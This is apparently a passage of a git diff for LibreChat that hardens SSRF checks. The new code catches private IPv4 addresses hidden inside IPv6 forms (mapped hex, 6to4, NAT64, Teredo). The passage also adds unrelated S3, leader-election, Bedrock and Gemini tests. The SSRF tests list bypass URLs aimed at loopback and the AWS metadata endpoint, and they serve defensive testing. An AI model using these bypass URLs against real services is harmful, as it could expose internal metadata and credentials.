+    expect(isPrivateIP('::a9fe:a9fe')).toBe(true);
+    expect(isPrivateIP('::c0a8:101')).toBe(true);
+    expect(isPrivateIP('::a00:1')).toBe(true);
+  });
+
+  it('should allow public IPs in IPv4-compatible form', () => {
+    expect(isPrivateIP('::808:808')).toBe(false);
+  });
+
+  it('should detect 6to4 addresses embedding private IPv4 (2002:XXXX:XXXX::)', () => {
+    expect(isPrivateIP('2002:7f00:1::')).toBe(true);
+    expect(isPrivateIP('2002:a9fe:a9fe::')).toBe(true);
+    expect(isPrivateIP('2002:c0a8:101::')).toBe(true);
+    expect(isPrivateIP('2002:a00:1::')).toBe(true);
+  });
+
+  it('should allow 6to4 addresses embedding public IPv4', () => {
+    expect(isPrivateIP('2002:808:808::')).toBe(false);
+  });
+
+  it('should detect NAT64 addresses embedding private IPv4 (64:ff9b::XXXX:XXXX)', () => {
+    expect(isPrivateIP('64:ff9b::7f00:1')).toBe(true);
+    expect(isPrivateIP('64:ff9b::a9fe:a9fe')).toBe(true);
+  });
+
+  it('should detect Teredo addresses with complement-encoded private IPv4 (RFC 4380)', () => {
+    // Teredo stores external IPv4 as bitwise complement in last 32 bits
+    // 127.0.0.1 → complement: 0x80ff:0xfffe
+    expect(isPrivateIP('2001::80ff:fffe')).toBe(true);
+    // 169.254.169.254 → complement: 0x5601:0x5601
+    expect(isPrivateIP('2001::5601:5601')).toBe(true);
+    // 10.0.0.1 → complement: 0xf5ff:0xfffe
+    expect(isPrivateIP('2001::f5ff:fffe')).toBe(true);
+  });
+
+  it('should allow Teredo addresses with complement-encoded public IPv4', () => {
+    // 8.8.8.8 → complement: 0xf7f7:0xf7f7
+    expect(isPrivateIP('2001::f7f7:f7f7')).toBe(false);
+  });
+
+  it('should confirm URL parser produces the hex form that bypasses dotted regex', () => {
+    // This test documents the exact normalization gap
+    const hostname = new URL('http://[::ffff:169.254.169.254]/').hostname.replace(/^\[|\]$/g, '');
+    expect(hostname).toBe('::ffff:a9fe:a9fe'); // hex, not dotted
+    // The hostname that actually reaches isPrivateIP must be caught
+    expect(isPrivateIP(hostname)).toBe(true);
+  });
+});
+
+describe('isActionDomainAllowed - IPv4-mapped IPv6 hex SSRF bypass (end-to-end)', () => {
+  beforeEach(() => {
+    mockedLookup.mockResolvedValue([{ address: '93.184.216.34', family: 4 }] as never);
+  });
+  afterEach(() => {
+    jest.clearAllMocks();
+  });
+
+  it('should block http://[::ffff:169.254.169.254]/ (AWS metadata via IPv6)', async () => {
+    expect(await isActionDomainAllowed('http://[::ffff:169.254.169.254]/', null)).toBe(false);
+  });
+
+  it('should block http://[::ffff:127.0.0.1]/ (loopback via IPv6)', async () => {
+    expect(await isActionDomainAllowed('http://[::ffff:127.0.0.1]/', null)).toBe(false);
+  });
+
+  it('should block http://[::ffff:192.168.1.1]/ (private via IPv6)', async () => {
+    expect(await isActionDomainAllowed('http://[::ffff:192.168.1.1]/', null)).toBe(false);
+  });
+
+  it('should block http://[::ffff:10.0.0.1]/ (private via IPv6)', async () => {
+    expect(await isActionDomainAllowed('http://[::ffff:10.0.0.1]/', null)).toBe(false);
+  });
+
+  it('should allow http://[::ffff:8.8.8.8]/ (public via IPv6)', async () => {
+    expect(await isActionDomainAllowed('http://[::ffff:8.8.8.8]/', null)).toBe(true);
+  });
+
+  it('should block IPv4-compatible IPv6 without ffff prefix', async () => {
+    expect(await isActionDomainAllowed('http://[::127.0.0.1]/', null)).toBe(false);
+    expect(await isActionDomainAllowed('http://[::169.254.169.254]/', null)).toBe(false);
+    expect(await isActionDomainAllowed('http://[0:0:0:0:0:0:127.0.0.1]/', null)).toBe(false);
+  });
+
+  it('should block 6to4 addresses embedding private IPv4', async () => {
+    expect(await isActionDomainAllowed('http://[2002:7f00:1::]/', null)).toBe(false);
+    expect(await isActionDomainAllowed('http://[2002:a9fe:a9fe::]/', null)).toBe(false);
+  });
+
+  it('should block NAT64 addresses embedding private IPv4', async () => {
+    expect(await isActionDomainAllowed('http://[64:ff9b::127.0.0.1]/', null)).toBe(false);
+    expect(await isActionDomainAllowed('http://[64:ff9b::169.254.169.254]/', null)).toBe(false);
+  });
+});
+
 describe('resolveHostnameSSRF', () => {
   afterEach(() => {
     jest.clearAllMocks();
@@ -298,16 +465,50 @@ describe('resolveHostnameSSRF', () => {
     expect(await resolveHostnameSSRF('example.com')).toBe(false);
   });
 
-  it('should skip literal IPv4 addresses (handled by isSSRFTarget)', async () => {
-    expect(await resolveHostnameSSRF('169.254.169.254')).toBe(false);
+  it('should detect private literal IPv4 addresses without DNS lookup', async () => {
+    expect(await resolveHostnameSSRF('169.254.169.254')).toBe(true);
+    expect(await resolveHostnameSSRF('127.0.0.1')).toBe(true);
+    expect(await resolveHostnameSSRF('10.0.0.1')).toBe(true);
     expect(mockedLookup).not.toHaveBeenCalled();
   });
 
-  it('should skip literal IPv6 addresses', async () => {
-    expect(await resolveHostnameSSRF('::1')).toBe(false);
+  it('should allow public literal IPv4 addresses without DNS lookup', async () => {
+    expect(await resolveHostnameSSRF('8.8.8.8')).toBe(false);
+    expect(await resolveHostnameSSRF('93.184.216.34')).toBe(false);
     expect(mockedLookup).not.toHaveBeenCalled();
   });
 
+  it('should detect private IPv6 literals without DNS lookup', async () => {
+    expect(await resolveHostnameSSRF('::1')).toBe(true);
+    expect(await resolveHostnameSSRF('fc00::1')).toBe(true);
+    expect(await resolveHostnameSSRF('fe80::1')).toBe(true);
+    expect(mockedLookup).not.toHaveBeenCalled();
+  });
+
+  it('should detect hex-normalized IPv4-mapped IPv6 literals', async () => {
+    expect(await resolveHostnameSSRF('::ffff:a9fe:a9fe')).toBe(true);
+    expect(await resolveHostnameSSRF('::ffff:7f00:1')).toBe(true);
+    expect(await resolveHostnameSSRF('[::ffff:a9fe:a9fe]')).toBe(true);
+    expect(mockedLookup).not.toHaveBeenCalled();
+  });
+
+  it('should allow public IPv6 literals without DNS lookup', async () => {
+    expect(await resolveHostnameSSRF('2001:db8::1')).toBe(false);
+    expect(await resolveHostnameSSRF('::ffff:808:808')).toBe(false);
+    expect(mockedLookup).not.toHaveBeenCalled();
+  });
+
+  it('should detect private IPv6 addresses returned from DNS lookup', async () => {
+    mockedLookup.mockResolvedValueOnce([{ address: '::1', family: 6 }] as never);
+    expect(await resolveHostnameSSRF('ipv6-loopback.example.com')).toBe(true);
+
+    mockedLookup.mockResolvedValueOnce([{ address: 'fc00::1', family: 6 }] as never);
+    expect(await resolveHostnameSSRF('ula.example.com')).toBe(true);
+
+    mockedLookup.mockResolvedValueOnce([{ address: '::ffff:a9fe:a9fe', family: 6 }] as never);
+    expect(await resolveHostnameSSRF('meta.example.com')).toBe(true);
+  });
+
   it('should fail open on DNS resolution failure', async () => {
     mockedLookup.mockRejectedValueOnce(new Error('ENOTFOUND'));
     expect(await resolveHostnameSSRF('nonexistent.example.com')).toBe(false);
@@ -915,4 +1116,44 @@ describe('isMCPDomainAllowed', () => {
       expect(await isMCPDomainAllowed({ url: 'wss://example.com' }, ['example.com'])).toBe(true);
     });
   });
+
+  describe('IPv4-mapped IPv6 hex SSRF bypass', () => {
+    it('should block MCP server targeting AWS metadata via IPv6-mapped address', async () => {
+      const config = { url: 'http://[::ffff:169.254.169.254]/mcp' };
+      expect(await isMCPDomainAllowed(config, null)).toBe(false);
+    });
+
+    it('should block MCP server targeting loopback via IPv6-mapped address', async () => {
+      const config = { url: 'http://[::ffff:127.0.0.1]/mcp' };
+      expect(await isMCPDomainAllowed(config, null)).toBe(false);
+    });
+
+    it('should block MCP server targeting private range via IPv6-mapped address', async () => {
+      expect(await isMCPDomainAllowed({ url: 'http://[::ffff:10.0.0.1]/mcp' }, null)).toBe(false);
+      expect(await isMCPDomainAllowed({ url: 'http://[::ffff:192.168.1.1]/mcp' }, null)).toBe(
+        false,
+      );
+    });
+
+    it('should block WebSocket MCP targeting private range via IPv6-mapped address', async () => {
+      expect(await isMCPDomainAllowed({ url: 'ws://[::ffff:127.0.0.1]/mcp' }, null)).toBe(false);
+      expect(await isMCPDomainAllowed({ url: 'wss://[::ffff:10.0.0.1]/mcp' }, null)).toBe(false);
+    });
+
+    it('should allow MCP server targeting public IP via IPv6-mapped address', async () => {
+      const config = { url: 'http://[::ffff:8.8.8.8]/mcp' };
+      expect(await isMCPDomainAllowed(config, null)).toBe(true);
+    });
+
+    it('should block MCP server targeting 6to4 embedded private IPv4', async () => {
+      expect(await isMCPDomainAllowed({ url: 'http://[2002:7f00:1::]/mcp' }, null)).toBe(false);
+      expect(await isMCPDomainAllowed({ url: 'ws://[2002:a9fe:a9fe::]/mcp' }, null)).toBe(false);
+    });
+
+    it('should block MCP server targeting NAT64 embedded private IPv4', async () => {
+      expect(await isMCPDomainAllowed({ url: 'http://[64:ff9b::127.0.0.1]/mcp' }, null)).toBe(
+        false,
+      );
+    });
+  });
 });
diff --git a/packages/api/src/auth/domain.ts b/packages/api/src/auth/domain.ts
index f2e86875d4..2761a80b55 100644
--- a/packages/api/src/auth/domain.ts
+++ b/packages/api/src/auth/domain.ts
@@ -24,26 +24,79 @@ export function isEmailDomainAllowed(email: string, allowedDomains?: string[] |
   return allowedDomains.some((allowedDomain) => allowedDomain?.toLowerCase() === domain);
 }
 
-/** Checks if IPv4 octets fall within private, reserved, or link-local ranges */
+/** Checks if IPv4 octets fall within private, reserved, or non-routable ranges */
 function isPrivateIPv4(a: number, b: number, c: number): boolean {
-  if (a === 127) {
+  if (a === 0) {
     return true;
   }
   if (a === 10) {
     return true;
   }
+  if (a === 127) {
+    return true;
+  }
+  if (a === 100 && b >= 64 && b <= 127) {
+    return true;
+  }
+  if (a === 169 && b === 254) {
+    return true;
+  }
   if (a === 172 && b >= 16 && b <= 31) {
     return true;
   }
   if (a === 192 && b === 168) {
     return true;
   }
-  if (a === 169 && b === 254) {
+  if (a === 192 && b === 0 && c === 0) {
     return true;
   }
-  if (a === 0 && b === 0 && c === 0) {
+  if (a === 198 && (b === 18 || b === 19)) {
     return true;
   }
+  if (a >= 224) {
+    return true;
+  }
+  return false;
+}
+
+/** Checks if an IPv6 address embeds a private IPv4 via 6to4, NAT64, or Teredo */
+function hasPrivateEmbeddedIPv4(ipv6: string): boolean {
+  if (!ipv6.startsWith('2002:') && !ipv6.startsWith('64:ff9b::') && !ipv6.startsWith('2001::')) {
+    return false;
+  }
+  const segments = ipv6.split(':').filter((s) => s !== '');
+
+  if (ipv6.startsWith('2002:') && segments.length >= 3) {
+    const hi = parseInt(segments[1], 16);
+    const lo = parseInt(segments[2], 16);
+    if (!isNaN(hi) && !isNaN(lo)) {
+      return isPrivateIPv4((hi >> 8) & 0xff, hi & 0xff, (lo >> 8) & 0xff);
+    }
+  }
+
+  if (ipv6.startsWith('64:ff9b::')) {
+    const lastTwo = segments.slice(-2);
+    if (lastTwo.length === 2) {
+      const hi = parseInt(lastTwo[0], 16);
+      const lo = parseInt(lastTwo[1], 16);
+      if (!isNaN(hi) && !isNaN(lo)) {
+        return isPrivateIPv4((hi >> 8) & 0xff, hi & 0xff, (lo >> 8) & 0xff);
+      }
+    }
+  }
+
+  // RFC 4380: Teredo stores external IPv4 as bitwise complement in last 32 bits
+  if (ipv6.startsWith('2001::')) {
+    const lastTwo = segments.slice(-2);
+    if (lastTwo.length === 2) {
+      const hi = parseInt(lastTwo[0], 16);
+      const lo = parseInt(lastTwo[1], 16);
+      if (!isNaN(hi) && !isNaN(lo)) {
+        return isPrivateIPv4((~hi >> 8) & 0xff, ~hi & 0xff, (~lo >> 8) & 0xff);
+      }
+    }
+  }
+
   return false;
 }
 
@@ -52,7 +105,10 @@ function isPrivateIPv4(a: number, b: number, c: number): boolean {
  * Handles IPv4, IPv6, and IPv4-mapped IPv6 addresses (::ffff:A.B.C.D).
  */
 export function isPrivateIP(ip: string): boolean {
-  const normalized = ip.toLowerCase().trim();
+  const normalized = ip
+    .toLowerCase()
+    .trim()
+    .replace(/^\[|\]$/g, '');
 
   const mappedMatch = normalized.match(/^::ffff:(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})$/);
   if (mappedMatch) {
@@ -60,42 +116,52 @@ export function isPrivateIP(ip: string): boolean {
     return isPrivateIPv4(a, b, c);
   }
 
+  const hexMappedMatch = normalized.match(/^(?:::ffff:|::)([0-9a-f]{1,4}):([0-9a-f]{1,4})$/);
+  if (hexMappedMatch) {
+    const hi = parseInt(hexMappedMatch[1], 16);
+    const lo = parseInt(hexMappedMatch[2], 16);
+    return isPrivateIPv4((hi >> 8) & 0xff, hi & 0xff, (lo >> 8) & 0xff);
+  }
+
   const ipv4Match = normalized.match(/^(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})$/);
   if (ipv4Match) {
     const [, a, b, c] = ipv4Match.map(Number);
     return isPrivateIPv4(a, b, c);
   }
 
-  const ipv6 = normalized.replace(/^\[|\]$/g, '');
   if (
-    ipv6 === '::1' ||
-    ipv6 === '::' ||
-    ipv6.startsWith('fc') ||
-    ipv6.startsWith('fd') ||
-    ipv6.startsWith('fe80')
+    normalized === '::1' ||
+    normalized === '::' ||
+    normalized.startsWith('fc') ||
+    normalized.startsWith('fd') ||
+    normalized.startsWith('fe80')
   ) {
     return true;
   }
 
+  if (hasPrivateEmbeddedIPv4(normalized)) {
+    return true;
+  }
+
   return false;
 }
 
 /**
- * Resolves a hostname via DNS and checks if any resolved address is a private/reserved IP.
- * Detects DNS-based SSRF bypasses (e.g., nip.io wildcard DNS, attacker-controlled nameservers).
- * Fails open: returns false if DNS resolution fails, since hostname-only checks still apply
- * and the actual HTTP request would also fail.
+ * Checks if a hostname resolves to a private/reserved IP address.
+ * Directly validates literal IPv4 and IPv6 addresses without DNS lookup.
+ * For hostnames, resolves via DNS and checks all returned addresses.
+ * Fails open on DNS errors (returns false), since the HTTP request would also fail.
  */
 export async function resolveHostnameSSRF(hostname: string): Promise<boolean> {
   const normalizedHost = hostname.toLowerCase().trim();
 
   if (/^(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})$/.test(normalizedHost)) {
-    return false;
+    return isPrivateIP(normalizedHost);
   }
 
   const ipv6Check = normalizedHost.replace(/^\[|\]$/g, '');
   if (ipv6Check.includes(':')) {
-    return false;
+    return isPrivateIP(ipv6Check);
   }
 
   try {
diff --git a/packages/api/src/cdn/__tests__/s3.test.ts b/packages/api/src/cdn/__tests__/s3.test.ts
new file mode 100644
index 0000000000..048c652a45
--- /dev/null
+++ b/packages/api/src/cdn/__tests__/s3.test.ts
@@ -0,0 +1,123 @@
+import type { S3Client } from '@aws-sdk/client-s3';
+
+const mockLogger = { info: jest.fn(), error: jest.fn() };
+
+jest.mock('@aws-sdk/client-s3', () => ({
+  S3Client: jest.fn(),
+}));
+
+jest.mock('@librechat/data-schemas', () => ({
+  logger: mockLogger,
+}));
+
+describe('initializeS3', () => {
+  const REQUIRED_ENV = {
+    AWS_REGION: 'us-east-1',
+    AWS_BUCKET_NAME: 'test-bucket',
+    AWS_ACCESS_KEY_ID: 'test-key-id',
+    AWS_SECRET_ACCESS_KEY: 'test-secret',
+  };
+
+  beforeEach(() => {
+    jest.resetModules();
+    jest.clearAllMocks();
+    Object.assign(process.env, REQUIRED_ENV);
+    delete process.env.AWS_ENDPOINT_URL;
+    delete process.env.AWS_FORCE_PATH_STYLE;
+  });
+
+  afterEach(() => {
+    for (const key of Object.keys(REQUIRED_ENV)) {
+      delete process.env[key];
+    }
+    delete process.env.AWS_ENDPOINT_URL;
+    delete process.env.AWS_FORCE_PATH_STYLE;
+  });
+
+  async function load() {
+    const { S3Client: MockS3Client } = jest.requireMock('@aws-sdk/client-s3') as {
+      S3Client: jest.MockedClass<typeof S3Client>;
+    };
+    const { initializeS3 } = await import('../s3');
+    return { MockS3Client, initializeS3 };
+  }
+
+  it('should initialize with region and credentials', async () => {
+    const { MockS3Client, initializeS3 } = await load();
+    initializeS3();
+    expect(MockS3Client).toHaveBeenCalledWith(
+      expect.objectContaining({
+        region: 'us-east-1',
+        credentials: { accessKeyId: 'test-key-id', secretAccessKey: 'test-secret' },
+      }),
+    );
+  });
+
+  it('should include endpoint when AWS_ENDPOINT_URL is set', async () => {
+    process.env.AWS_ENDPOINT_URL = 'https://fsn1.your-objectstorage.com';
+    const { MockS3Client, initializeS3 } = await load();
+    initializeS3();
+    expect(MockS3Client).toHaveBeenCalledWith(
+      expect.objectContaining({ endpoint: 'https://fsn1.your-objectstorage.com' }),
+    );
+  });
+
+  it('should not include endpoint when AWS_ENDPOINT_URL is not set', async () => {
+    const { MockS3Client, initializeS3 } = await load();
+    initializeS3();
+    const config = MockS3Client.mock.calls[0][0] as Record<string, unknown>;
+    expect(config).not.toHaveProperty('endpoint');
+  });
+
+  it('should set forcePathStyle when AWS_FORCE_PATH_STYLE is true', async () => {
+    process.env.AWS_FORCE_PATH_STYLE = 'true';
+    const { MockS3Client, initializeS3 } = await load();
+    initializeS3();
+    expect(MockS3Client).toHaveBeenCalledWith(expect.objectContaining({ forcePathStyle: true }));
+  });
+
+  it('should not set forcePathStyle when AWS_FORCE_PATH_STYLE is false', async () => {
+    process.env.AWS_FORCE_PATH_STYLE = 'false';
+    const { MockS3Client, initializeS3 } = await load();
+    initializeS3();
+    const config = MockS3Client.mock.calls[0][0] as Record<string, unknown>;
+    expect(config).not.toHaveProperty('forcePathStyle');
+  });
+
+  it('should not set forcePathStyle when AWS_FORCE_PATH_STYLE is not set', async () => {
+    const { MockS3Client, initializeS3 } = await load();
+    initializeS3();
+    const config = MockS3Client.mock.calls[0][0] as Record<string, unknown>;
+    expect(config).not.toHaveProperty('forcePathStyle');
+  });
+
+  it('should return null and log error when AWS_REGION is not set', async () => {
+    delete process.env.AWS_REGION;
+    const { initializeS3 } = await load();
+    const result = initializeS3();
+    expect(result).toBeNull();
+    expect(mockLogger.error).toHaveBeenCalledWith(
+      '[initializeS3] AWS_REGION is not set. Cannot initialize S3.',
+    );
+  });
+
+  it('should return the same instance on subsequent calls', async () => {
+    const { MockS3Client, initializeS3 } = await load();
+    const first = initializeS3();
+    const second = initializeS3();
+    expect(first).toBe(second);
+    expect(MockS3Client).toHaveBeenCalledTimes(1);
+  });
+
+  it('should use default credentials chain when keys are not provided', async () => {
+    delete process.env.AWS_ACCESS_KEY_ID;
+    delete process.env.AWS_SECRET_ACCESS_KEY;
+    const { MockS3Client, initializeS3 } = await load();
+    initializeS3();
+    const config = MockS3Client.mock.calls[0][0] as Record<string, unknown>;
+    expect(config).not.toHaveProperty('credentials');
+    expect(mockLogger.info).toHaveBeenCalledWith(
+      '[initializeS3] S3 initialized using default credentials (IRSA).',
+    );
+  });
+});
diff --git a/packages/api/src/cdn/s3.ts b/packages/api/src/cdn/s3.ts
index 683a7887fa..f6f8527ce4 100644
--- a/packages/api/src/cdn/s3.ts
+++ b/packages/api/src/cdn/s3.ts
@@ -1,5 +1,6 @@
 import { S3Client } from '@aws-sdk/client-s3';
 import { logger } from '@librechat/data-schemas';
+import { isEnabled } from '~/utils/common';
 
 let s3: S3Client | null = null;
 
@@ -31,8 +32,8 @@ export const initializeS3 = (): S3Client | null => {
 
   const config = {
     region,
-    // Conditionally add the endpoint if it is provided
     ...(endpoint ? { endpoint } : {}),
+    ...(isEnabled(process.env.AWS_FORCE_PATH_STYLE) ? { forcePathStyle: true } : {}),
   };
 
   if (accessKeyId && secretAccessKey) {
diff --git a/packages/api/src/cluster/__tests__/LeaderElection.cache_integration.spec.ts b/packages/api/src/cluster/__tests__/LeaderElection.cache_integration.spec.ts
index b37c291880..f1558db795 100644
--- a/packages/api/src/cluster/__tests__/LeaderElection.cache_integration.spec.ts
+++ b/packages/api/src/cluster/__tests__/LeaderElection.cache_integration.spec.ts
@@ -32,14 +32,22 @@ describe('LeaderElection with Redis', () => {
     process.setMaxListeners(200);
   });
 
-  afterEach(async () => {
-    await Promise.all(instances.map((instance) => instance.resign()));
-    instances = [];
-
-    // Clean up: clear the leader key directly from Redis
+  beforeEach(async () => {
     if (keyvRedisClient) {
       await keyvRedisClient.del(LeaderElection.LEADER_KEY);
     }
+    new LeaderElection().clearRefreshTimer();
+  });
+
+  afterEach(async () => {
+    try {
+      await Promise.all(instances.map((instance) => instance.resign()));
+    } finally {
+      instances = [];
+      if (keyvRedisClient) {
+        await keyvRedisClient.del(LeaderElection.LEADER_KEY);
+      }
+    }
   });
 
   afterAll(async () => {
@@ -49,39 +57,24 @@ describe('LeaderElection with Redis', () => {
   });
 
   describe('Test Case 1: Simulate shutdown of the leader', () => {
-    it('should elect a new leader after the current leader resigns', async () => {
-      // Create 100 instances
-      instances = Array.from({ length: 100 }, () => new LeaderElection());
+    it('should allow an instance to re-elect itself after resignation', async () => {
+      const instance = new LeaderElection();
+      instances.push(instance);
 
-      // Call isLeader on all instances and get leadership status
-      const resultsWithInstances = await Promise.all(
-        instances.map(async (instance) => ({
-          instance,
-          isLeader: await instance.isLeader(),
-        })),
-      );
-
-      // Find leader and followers
-      const leaders = resultsWithInstances.filter((r) => r.isLeader);
-      const followers = resultsWithInstances.filter((r) => !r.isLeader);
-      const leader = leaders[0].instance;
-      const nextLeader = followers[0].instance;
-
-      // Verify only one is leader
-      expect(leaders.length).toBe(1);
-
-      // Verify getLeaderUUID matches the leader's UUID
-      expect(await LeaderElection.getLeaderUUID()).toBe(leader.UUID);
+      // Instance becomes leader
+      expect(await instance.isLeader()).toBe(true);
+      expect(await LeaderElection.getLeaderUUID()).toBe(instance.UUID);
 
       // Leader resigns
-      await leader.resign();
+      await instance.resign();
 
-      // Verify getLeaderUUID returns null after resignation
+      // Verify leadership key is cleared after resignation
       expect(await LeaderElection.getLeaderUUID()).toBeNull();
 
-      // Next instance to call isLeader should become the new leader
-      expect(await nextLeader.isLeader()).toBe(true);
-    }, 30000); // 30 second timeout for 100 instances
+      // Instance can re-elect itself after resignation
+      expect(await instance.isLeader()).toBe(true);
+      expect(await LeaderElection.getLeaderUUID()).toBe(instance.UUID);
+    }, 15000);
   });
 
   describe('Test Case 2: Simulate crash of the leader', () => {
diff --git a/packages/api/src/endpoints/bedrock/initialize.spec.ts b/packages/api/src/endpoints/bedrock/initialize.spec.ts
index 2b83c55937..158650017e 100644
--- a/packages/api/src/endpoints/bedrock/initialize.spec.ts
+++ b/packages/api/src/endpoints/bedrock/initialize.spec.ts
@@ -722,4 +722,66 @@ describe('initializeBedrock', () => {
       expect(amrf.effort).toBeUndefined();
     });
   });
+
+  describe('Bedrock reasoning_effort for Moonshot/ZAI models', () => {
+    it('should map reasoning_effort to reasoning_config for Moonshot Kimi K2.5', async () => {
+      const params = createMockParams({
+        model_parameters: {
+          model: 'moonshotai.kimi-k2.5',
+          reasoning_effort: 'high',
+        },
+      });
+
+      const result = (await initializeBedrock(params)) as BedrockLLMConfigResult;
+      const amrf = result.llmConfig.additionalModelRequestFields as Record<string, unknown>;
+
+      expect(amrf.reasoning_config).toBe('high');
+      expect(amrf.reasoning_effort).toBeUndefined();
+      expect(amrf.thinking).toBeUndefined();
+      expect(amrf.anthropic_beta).toBeUndefined();
+    });
+
+    it('should map reasoning_effort to reasoning_config for ZAI GLM', async () => {
+      const params = createMockParams({
+        model_parameters: {
+          model: 'zai.glm-4.7',
+          reasoning_effort: 'medium',
+        },
+      });
+
+      const result = (await initializeBedrock(params)) as BedrockLLMConfigResult;
+      const amrf = result.llmConfig.additionalModelRequestFields as Record<string, unknown>;
+
+      expect(amrf.reasoning_config).toBe('medium');
+      expect(amrf.reasoning_effort).toBeUndefined();
+    });
+
+    it('should not include reasoning_config when reasoning_effort is unset', async () => {
+      const params = createMockParams({
+        model_parameters: {
+          model: 'moonshotai.kimi-k2.5',
+          reasoning_effort: '',
+        },
+      });
+
+      const result = (await initializeBedrock(params)) as BedrockLLMConfigResult;
+
+      expect(result.llmConfig.additionalModelRequestFields).toBeUndefined();
+    });
+
+    it('should not map reasoning_effort to reasoning_config for Anthropic models', async () => {
+      const params = createMockParams({
+        model_parameters: {
+          model: 'anthropic.claude-opus-4-6-v1',
+          reasoning_effort: 'high',
+        },
+      });
+
+      const result = (await initializeBedrock(params)) as BedrockLLMConfigResult;
+      const amrf = result.llmConfig.additionalModelRequestFields as Record<string, unknown>;
+
+      expect(amrf.reasoning_config).toBeUndefined();
+      expect(amrf.thinking).toEqual({ type: 'adaptive' });
+    });
+  });
 });
diff --git a/packages/api/src/endpoints/google/llm.spec.ts b/packages/api/src/endpoints/google/llm.spec.ts
index d9aa1a702a..6e2a8ddb25 100644
--- a/packages/api/src/endpoints/google/llm.spec.ts
+++ b/packages/api/src/endpoints/google/llm.spec.ts
@@ -1,5 +1,5 @@
 import { Providers } from '@librechat/agents';
-import { AuthKeys } from 'librechat-data-provider';
+import { AuthKeys, ThinkingLevel } from 'librechat-data-provider';
 import type * as t from '~/types';
 import { getGoogleConfig, getSafetySettings, knownGoogleParams } from './llm';
 
@@ -367,6 +367,191 @@ describe('getGoogleConfig', () => {
     });
   });
 
+  describe('Gemini 3 Thinking Level', () => {
+    it('should use thinkingLevel for Gemini 3 models with Google provider', () => {
+      const credentials = {
+        [AuthKeys.GOOGLE_API_KEY]: 'test-api-key',
+      };
+
+      const result = getGoogleConfig(credentials, {
+        modelOptions: {
+          model: 'gemini-3-pro-preview',
+          thinking: true,
+          thinkingLevel: ThinkingLevel.high,
+        },
+      });
+
+      expect(result.llmConfig).toHaveProperty('thinkingConfig');
+      expect((result.llmConfig as Record<string, unknown>).thinkingConfig).toMatchObject({
+        includeThoughts: true,
+        thinkingLevel: ThinkingLevel.high,
+      });
+      expect((result.llmConfig as Record<string, unknown>).thinkingConfig).not.toHaveProperty(
+        'thinkingBudget',
+      );
+    });
+
+    it('should use thinkingLevel for Gemini 3.1 models', () => {
+      const credentials = {
+        [AuthKeys.GOOGLE_API_KEY]: 'test-api-key',
+      };
+
+      const result = getGoogleConfig(credentials, {
+        modelOptions: {
+          model: 'gemini-3.1-pro-preview',
+          thinking: true,
+          thinkingLevel: ThinkingLevel.medium,
+        },
+      });
+
+      expect((result.llmConfig as Record<string, unknown>).thinkingConfig).toMatchObject({
+        includeThoughts: true,
+        thinkingLevel: ThinkingLevel.medium,
+      });
+    });
+
+    it('should omit thinkingLevel when unset (empty string) for Gemini 3', () => {
+      const credentials = {
+        [AuthKeys.GOOGLE_API_KEY]: 'test-api-key',
+      };
+
+      const result = getGoogleConfig(credentials, {
+        modelOptions: {
+          model: 'gemini-3-flash-preview',
+          thinking: true,
+          thinkingLevel: ThinkingLevel.unset,
+        },
+      });
+
+      expect(result.llmConfig).toHaveProperty('thinkingConfig');
+      expect((result.llmConfig as Record<string, unknown>).thinkingConfig).toMatchObject({
+        includeThoughts: true,
+      });
+      expect((result.llmConfig as Record<string, unknown>).thinkingConfig).not.toHaveProperty(
+        'thinkingLevel',
+      );
+    });
+
+    it('should not set thinkingConfig when thinking is false for Gemini 3', () => {
+      const credentials = {
+        [AuthKeys.GOOGLE_API_KEY]: 'test-api-key',
+      };
+
+      const result = getGoogleConfig(credentials, {
+        modelOptions: {
+          model: 'gemini-3-pro-preview',
+          thinking: false,
+          thinkingLevel: ThinkingLevel.high,
+        },
+      });
+
+      expect(result.llmConfig).not.toHaveProperty('thinkingConfig');
+    });
+
+    it('should use thinkingLevel for Gemini 3 with Vertex AI provider', () => {
+      const credentials = {
+        [AuthKeys.GOOGLE_SERVICE_KEY]: {
+          project_id: 'test-project',
+        },
+      };
+
+      const result = getGoogleConfig(credentials, {
+        modelOptions: {
+          model: 'gemini-3-pro-preview',
+          thinking: true,
+          thinkingLevel: ThinkingLevel.low,
+        },
+      });
+
+      expect(result.provider).toBe(Providers.VERTEXAI);
+      expect((result.llmConfig as Record<string, unknown>).thinkingConfig).toMatchObject({
+        includeThoughts: true,
+        thinkingLevel: ThinkingLevel.low,
+      });
+      expect(result.llmConfig).toHaveProperty('includeThoughts', true);
+    });
+
+    it('should send thinkingConfig by default for Gemini 3 (no thinking options set)', () => {
+      const credentials = {
+        [AuthKeys.GOOGLE_API_KEY]: 'test-api-key',
+      };
+
+      const result = getGoogleConfig(credentials, {
+        modelOptions: {
+          model: 'gemini-3-pro-preview',
+        },
+      });
+
+      expect(result.llmConfig).toHaveProperty('thinkingConfig');
+      const config = (result.llmConfig as Record<string, unknown>).thinkingConfig;
+      expect(config).toMatchObject({ includeThoughts: true });
+      expect(config).not.toHaveProperty('thinkingLevel');
+    });
+
+    it('should ignore thinkingBudget for Gemini 3+ models', () => {
+      const credentials = {
+        [AuthKeys.GOOGLE_API_KEY]: 'test-api-key',
+      };
+
+      const result = getGoogleConfig(credentials, {
+        modelOptions: {
+          model: 'gemini-3-pro-preview',
+          thinking: true,
+          thinkingBudget: 5000,
+        },
+      });
+
+      const config = (result.llmConfig as Record<string, unknown>).thinkingConfig;
+      expect(config).not.toHaveProperty('thinkingBudget');
+      expect(config).toMatchObject({ includeThoughts: true });
+    });
+
+    it('should NOT classify gemini-2.9-flash as Gemini 3+', () => {
+      const credentials = {
+        [AuthKeys.GOOGLE_API_KEY]: 'test-api-key',
+      };
+
+      const result = getGoogleConfig(credentials, {
+        modelOptions: {
+          model: 'gemini-2.9-flash',
+          thinking: true,
+          thinkingBudget: 5000,
+        },
+      });
+
+      expect((result.llmConfig as Record<string, unknown>).thinkingConfig).toMatchObject({
+        thinkingBudget: 5000,
+        includeThoughts: true,
+      });
+      expect((result.llmConfig as Record<string, unknown>).thinkingConfig).not.toHaveProperty(
+        'thinkingLevel',
+      );
+    });
+
+    it('should use thinkingBudget (not thinkingLevel) for Gemini 2.5 models', () => {
+      const credentials = {
+        [AuthKeys.GOOGLE_API_KEY]: 'test-api-key',
+      };
+
+      const result = getGoogleConfig(credentials, {
+        modelOptions: {
+          model: 'gemini-2.5-flash',
